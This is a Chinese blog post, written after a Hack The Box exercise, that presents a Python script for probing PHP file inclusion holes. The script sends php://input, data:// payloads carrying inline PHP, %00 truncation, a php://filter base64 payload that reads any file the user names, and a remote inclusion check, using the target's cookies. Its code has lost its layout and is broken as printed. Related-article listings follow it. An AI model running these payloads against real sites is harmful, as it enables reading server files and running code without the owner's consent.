0x00前言:

做Hack the box的题。感觉那个平台得开个VIp

不然得凉。一天只能重置一次。。。mmp

做的那题毒药是文件包含漏洞的题,涉及到了某个工具

看的不错就开发了一个。

0x01代码:

import requests
import threading
import os
import time
import sys cookies={}
urls=input('Please enter the target:')
user=input('Enter the file you want to read:')
user2=input('Enter your cookie:')
for lie in user2.split(';'):
key,value=lie.split('=',1)
cookies[key]=value
payload='php://input'
payload2='data:text/plain,<?php phpinfo();?>%00'
payload2s='data:text/plain,<?php phpinfo();?>'
payload3='php://filter/read=convert.base64-encode/resource={}'.format(user)
error=['','Not Found','Warning','不存在','找不到','防火墙','安全狗','云锁'] def exploitone(user):
headers={'user-agent':'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)'}
url=user
pocone=url+payload
poctwo=url+payload2
pocsan=url+payload3
pocsi=url+payload2s
request=requests.get(url=pocone,headers=headers,cookies=cookies)
request2=requests.get(url=poctwo,headers=headers,cookies=cookies)
request3=requests.get(url=pocsan,headers=headers,cookies=cookies)
request4=requests.get(url=pocsi,headers=headers,cookies=cookies)
ok=[]
for e in error:
if request.status_code==200:
if e in str(request.text):
print('[-]Php://input protocol does not support')
else:
ok.append('[+]Support php://input protocol Poc:{}'.format(request.url)) if request2.status_code==200:
if e in str(request2.text):
print('[-]Data:// protocol that does not support%00 truncation')
else:
ok.append('[+]Data:// protocol that supports%00 truncation Poc2:{}'.format(request2.url)) if request3.status_code==200:
if e in str(request3.text):
print('[-]Do not support the use of php://filter/read=convert.base64-encode/resource=')
else:
ok.append('[+]Support php://filter/read=convert.base64-encode/resource= Poc3:{}'.format(request3.url)) if request4.status_code==200:
if e in str(request4.text):
print('[-]Data:// protocol does not support')
else:
ok.append('[+]Support with data:// protocol Poc4:{}'.format(request4.url)) if len(ok)>0:
v=list(set(ok))
for vv in v:
print(vv) exploitone(urls.rstrip()) def exploittwo():
poc='http://www.baidu.com'
url=urls.rstrip()+poc
headers={'user-agent':'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)'}
request2=requests.get(url=url,headers=headers,cookies=cookies)
yuan=[]
for e in error:
if request2.status_code==200:
if e in str(request2.text):
print('[-]Remote inclusion failure')
else:
yuan.append('[+]Allow remote inclusion poc:{}'.format(request2.url))
if len(yuan)>0:
s=list(set(yuan))
for b in s:
print(b)
exploittwo()

测试:

思路:

先检测各种协议,然后测试远程包含漏洞

原本还有一个检测路径的,但是跑起来太慢。

python打造文件包含漏洞检测工具的更多相关文章

  1. 文件包含漏洞检测工具fimap

    文件包含漏洞检测工具fimap   在Web应用中,文件包含漏洞(FI)是常见的漏洞.根据包含的文件不同,它分为本地文件包含漏洞(LFI)和远程文件包含漏洞(RFL).利用该漏洞,安全人员可以获取服务 ...

  2. URL重定向漏洞,python打造URL重定向漏洞检测脚本

    前言: 今天学习了重定向漏洞,这个漏洞比较好理解 漏洞名:URL重定向漏洞 威胁:低 漏洞的来源:开发者对head头做好对应的过滤和限制 例子: 有漏洞的网站:http://a.com/x.php?u ...

  3. PHP代码审计笔记--文件包含漏洞

    有限制的本地文件包含: <?php include($_GET['file'].".php"); ?> %00截断: ?file=C://Windows//win.in ...

  4. Metasploit是一款开源的安全漏洞检测工具,

    Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,适合于需要核实漏洞的安全专家,同时也适合于强大进攻能力的 ...

  5. 2. DVWA亲测文件包含漏洞

    Low级:     我们分别点击这几个file.php文件 仅仅是配置参数的变化: http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file3.php 如 ...

  6. PHP文件包含漏洞小结

    参考链接:https://chybeta.github.io/2017/10/08/php文件包含漏洞/ 四大漏洞函数 PHP文件包含漏洞主要由于四个函数引起的: include() include_ ...

  7. PHP文件包含漏洞剖析

    一. 什么才是”远程文件包含漏洞”?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的. ...

  8. Kali学习笔记31:目录遍历漏洞、文件包含漏洞

    文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 目录遍历漏洞: 应用程序如果有操作文件的功能,限制不严 ...

  9. 基于Python3的漏洞检测工具 ( Python3 插件式框架 )

    目录 Python3 漏洞检测工具 -- lance screenshot requirements 关键代码 usage documents Any advice or sugggestions P ...

随机推荐

  1. 解决"No toolchains found in the NDK toolchains folder for ABI with prefix: mips64el-linux-android"错误

    今天安装了Android Studio 3.2,打开一个旧工程,编译提示"No toolchains found in the NDK toolchains folder for ABI w ...

  2. Java网络编程学习A轮_08_NIO的Reactor模型

    参考资料: 了解 Java NIO 的 Reactor 模型,大神 Doug Lea 的 PPT Scalable IO in Java 必看:http://gee.cs.oswego.edu/dl/ ...

  3. mysql数据库的备份及免密码上传

    主要利用了mysqldump和sshpass进行备份和免密上传 以下是代码实现: #!/bin/bash #该脚本放在主服务器运行 #从服务器账号密码ipremotehost="xxxxxx ...

  4. Autofac Mvc注入

    private void DependencyInjection() { var builder = new ContainerBuilder(); builder.RegisterControlle ...

  5. Object.assign()是浅拷贝

    浅拷贝: 复制的值指向同一个内存地址 深拷贝:复制的值指向新的内存地址 var a = { xm: { name: 'xiaoming' } } var b = Object.assign({}, a ...

  6. 在将对象数组转换为json字符串

    private List<WHCombineBatchFragmentBarcodeEnterEvent.Message.Data> dataList = new ArrayList< ...

  7. 51nod 算法马拉松4 B递归(YY)

    递归   基准时间限制:1 秒 空间限制:131072 KB 分值: 80 函数f(n,m) { 若n=1或m=1返回a[n][m]; 返回f(n-1,m)异或f(n,m-1); } 读入2<= ...

  8. Python threadpool传递参数

    threadpool模块是一个很老的实现python线程池的模块,pypi已经建议用multiprocessing代替它了,但是,它使用的便捷性还是征服了一批忠实用户. threadpool模块实现多 ...

  9. QLoo graphql engine 学习一 基本试用(docker&&docker-compose)

      说明:使用docker-compose 进行安装 代码框架 使用命令行工具创建 qlooctl install docker qloo-docker 运行qloo&&gloo 启动 ...

  10. 基于typescript 强大的 nestjs 框架试用

    nestjs 一个nodejs 的graphql 框架 安装 npm i -g @nestjs/cli 初始化项目 nest new dalong 运行demo 使用yarn yarn start 添 ...